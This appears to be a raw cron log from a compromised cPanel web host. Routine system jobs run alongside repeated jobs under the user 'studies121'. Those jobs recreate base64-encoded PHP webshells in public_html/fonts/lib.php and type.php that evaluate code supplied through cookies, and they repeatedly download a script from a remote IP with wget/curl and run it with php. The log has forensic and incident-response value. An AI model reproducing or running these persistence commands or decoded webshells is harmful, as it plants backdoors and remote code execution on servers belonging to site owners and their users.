Sep  7 00:10:01 ip-184-168-122-23 CROND[16810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:10:01 ip-184-168-122-23 CROND[16811]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:10:01 ip-184-168-122-23 CROND[16815]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:10:01 ip-184-168-122-23 CROND[16817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:10:01 ip-184-168-122-23 CROND[16818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:11:01 ip-184-168-122-23 CROND[16920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:11:01 ip-184-168-122-23 CROND[16923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:11:01 ip-184-168-122-23 CROND[16924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:11:01 ip-184-168-122-23 CROND[16922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:12:01 ip-184-168-122-23 CROND[17006]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:12:01 ip-184-168-122-23 CROND[17011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:12:01 ip-184-168-122-23 CROND[17009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:12:01 ip-184-168-122-23 CROND[17010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:12:01 ip-184-168-122-23 CROND[17008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:13:01 ip-184-168-122-23 CROND[17093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:13:01 ip-184-168-122-23 CROND[17094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:13:01 ip-184-168-122-23 CROND[17096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:13:01 ip-184-168-122-23 CROND[17095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:14:01 ip-184-168-122-23 CROND[17186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:14:01 ip-184-168-122-23 CROND[17187]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:14:01 ip-184-168-122-23 CROND[17190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:14:01 ip-184-168-122-23 CROND[17191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:14:01 ip-184-168-122-23 CROND[17193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:15:01 ip-184-168-122-23 CROND[17276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:15:01 ip-184-168-122-23 CROND[17278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:15:01 ip-184-168-122-23 CROND[17283]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 00:15:01 ip-184-168-122-23 CROND[17282]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  7 00:15:01 ip-184-168-122-23 CROND[17281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:15:01 ip-184-168-122-23 CROND[17284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:15:01 ip-184-168-122-23 CROND[17285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:15:01 ip-184-168-122-23 CROND[17287]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:16:01 ip-184-168-122-23 CROND[17396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:16:01 ip-184-168-122-23 CROND[17398]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:16:01 ip-184-168-122-23 CROND[17401]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 00:16:01 ip-184-168-122-23 CROND[17402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:16:01 ip-184-168-122-23 CROND[17400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:16:01 ip-184-168-122-23 CROND[17403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:17:01 ip-184-168-122-23 CROND[17482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:17:01 ip-184-168-122-23 CROND[17485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:17:01 ip-184-168-122-23 CROND[17489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:17:01 ip-184-168-122-23 CROND[17493]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:18:01 ip-184-168-122-23 CROND[17565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:18:01 ip-184-168-122-23 CROND[17567]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:18:01 ip-184-168-122-23 CROND[17568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:18:01 ip-184-168-122-23 CROND[17569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:18:01 ip-184-168-122-23 CROND[17570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:19:01 ip-184-168-122-23 CROND[17742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:19:01 ip-184-168-122-23 CROND[17743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:19:01 ip-184-168-122-23 CROND[17745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:19:01 ip-184-168-122-23 CROND[17746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:20:01 ip-184-168-122-23 CROND[17832]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 00:20:01 ip-184-168-122-23 CROND[17833]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 00:20:01 ip-184-168-122-23 CROND[17837]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:20:01 ip-184-168-122-23 CROND[17841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:20:01 ip-184-168-122-23 CROND[17838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:20:01 ip-184-168-122-23 CROND[17840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:20:01 ip-184-168-122-23 CROND[17844]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:20:01 ip-184-168-122-23 CROND[17839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:20:01 ip-184-168-122-23 CROND[17843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:21:01 ip-184-168-122-23 CROND[17936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:21:01 ip-184-168-122-23 CROND[17938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:21:01 ip-184-168-122-23 CROND[17939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:21:01 ip-184-168-122-23 CROND[17940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:22:01 ip-184-168-122-23 CROND[18042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:22:01 ip-184-168-122-23 CROND[18044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
